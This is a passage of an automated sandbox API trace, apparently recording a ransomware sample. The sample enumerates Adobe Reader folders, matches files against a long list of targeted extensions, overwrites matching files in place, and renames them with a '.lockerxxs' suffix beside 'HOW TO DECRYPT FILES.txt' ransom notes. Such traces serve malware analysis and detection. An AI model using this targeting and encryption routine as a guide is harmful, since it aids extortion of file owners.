"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf.lockerxxs")) returned 1 [0068.500] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.500] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.500] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.500] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.500] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.500] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf") returned="AdobeID.pdf" [0068.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" [0068.500] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="" [0068.500] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt" [0068.501] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\how to decrypt files.txt")) returned 0x20 [0068.501] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.501] lstrlenA (lpString="*.ems") returned 5 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.501] lstrlenA (lpString="*.db") returned 4 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.501] lstrlenA (lpString="*.dbf") returned 5 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.501] lstrlenA (lpString="*.myox") returned 6 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.501] lstrlenA (lpString="*.myo") returned 5 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.501] lstrlenA (lpString="*.qbw") returned 5 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.501] lstrlenA (lpString="*.qbb") returned 5 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.501] lstrlenA (lpString="*.qbm") returned 5 [0068.501] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.502] lstrlenA (lpString="*.qbo") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.502] lstrlenA (lpString="*.qbx") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.502] lstrlenA (lpString="*.qba") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.502] lstrlenA (lpString="*.qby") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.502] lstrlenA (lpString="*.qbj") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.502] lstrlenA (lpString="*.ofx") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.502] lstrlenA (lpString="*.qif") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.502] lstrlenA (lpString="*.mye") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.502] lstrlenA (lpString="*.mbox") returned 6 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.502] lstrlenA (lpString="*.eml") returned 5 [0068.502] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.502] lstrlenA (lpString="*.pst") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.503] lstrlenA (lpString="*.ost") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.503] lstrlenA (lpString="*.idx") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.503] lstrlenA (lpString="*.dbx") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.503] lstrlenA (lpString="*.sql") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.503] lstrlenA (lpString="*.mdb") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.503] lstrlenA (lpString="*.fdb") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.503] lstrlenA (lpString="*.wab") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.503] lstrlenA (lpString="*.dat") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.503] lstrlenA (lpString="*.txt") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.503] lstrlenA (lpString="*.jpeg") returned 6 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.503] lstrlenA (lpString="*.jpg") returned 5 [0068.503] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.504] lstrlenA (lpString="*.png") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.504] lstrlenA (lpString="*.php") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.504] lstrlenA (lpString="*.cs") returned 4 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.504] lstrlenA (lpString="*.cpp") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.504] lstrlenA (lpString="*.rar") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.504] lstrlenA (lpString="*.zip") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.504] lstrlenA (lpString="*.html") returned 6 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.504] lstrlenA (lpString="*.htm") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.504] lstrlenA (lpString="*.xlsx") returned 6 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.504] lstrlenA (lpString="*.xls") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.504] lstrlenA (lpString="*.mp4") returned 5 [0068.504] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.505] lstrlenA (lpString="*.ppt") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.505] lstrlenA (lpString="*.pptx") returned 6 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.505] lstrlenA (lpString="*.doc") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.505] lstrlenA (lpString="*.dot") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.505] lstrlenA (lpString="*.docx") returned 6 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.505] lstrlenA (lpString="*.7z") returned 4 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.505] lstrlenA (lpString="*.tar") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.505] lstrlenA (lpString="*.bz2") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.505] lstrlenA (lpString="*.gz") returned 4 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.505] lstrlenA (lpString="*.mkv") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.505] lstrlenA (lpString="*.eml") returned 5 [0068.505] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.506] lstrlenA (lpString="*.msg") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.506] lstrlenA (lpString="*.edb") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.506] lstrlenA (lpString="*.accdb") returned 7 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.506] lstrlenA (lpString="*.odb") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.506] lstrlenA (lpString="*.java") returned 6 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.506] lstrlenA (lpString="*.asm") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.506] lstrlenA (lpString="*.pfx") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.506] lstrlenA (lpString="*.pem") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.506] lstrlenA (lpString="*.p12") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.506] lstrlenA (lpString="*.gpg") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.506] lstrlenA (lpString="*.vsd") returned 5 [0068.506] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.507] lstrlenA (lpString="*.odg") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.507] lstrlenA (lpString="*.raw") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.507] lstrlenA (lpString="*.nef") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.507] lstrlenA (lpString="*.svg") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.507] lstrlenA (lpString="*.psd") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.507] lstrlenA (lpString="*.vmx") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.507] lstrlenA (lpString="*.vmdk") returned 6 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.507] lstrlenA (lpString="*.vdi") returned 5 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.507] lstrlenA (lpString="*.lay6") returned 6 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.507] lstrlenA (lpString="*.mpeg") returned 6 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.507] lstrlenA (lpString="*.djvu") returned 6 [0068.507] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.508] lstrlenA (lpString="*.tiff") returned 6 [0068.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.508] lstrlenA (lpString="*.backup") returned 8 [0068.508] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.508] lstrlenA (lpString="*.pdf") returned 5 [0068.508] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" [0068.508] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" [0068.508] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf." [0068.508] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.lockerxxs" [0068.508] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.509] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15db2 [0068.509] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.509] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.509] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15d8c, lpOverlapped=0x0) returned 1 [0068.512] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf") returned="DefaultID.pdf" [0068.513] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.513] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15d8c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15d8c, lpOverlapped=0x0) returned 1 [0068.514] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.514] CloseHandle (hObject=0x94) returned 1 [0068.515] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf.lockerxxs")) returned 1 [0068.516] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.516] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.517] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="ITA", cAlternateFileName="")) returned 1 [0068.517] lstrcmpA (lpString1=".", lpString2="ITA") returned -1 [0068.517] lstrcmpA (lpString1="..", lpString2="ITA") returned -1 [0068.517] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.517] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="ITA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" [0068.517] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned 63 [0068.517] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.517] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.517] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, 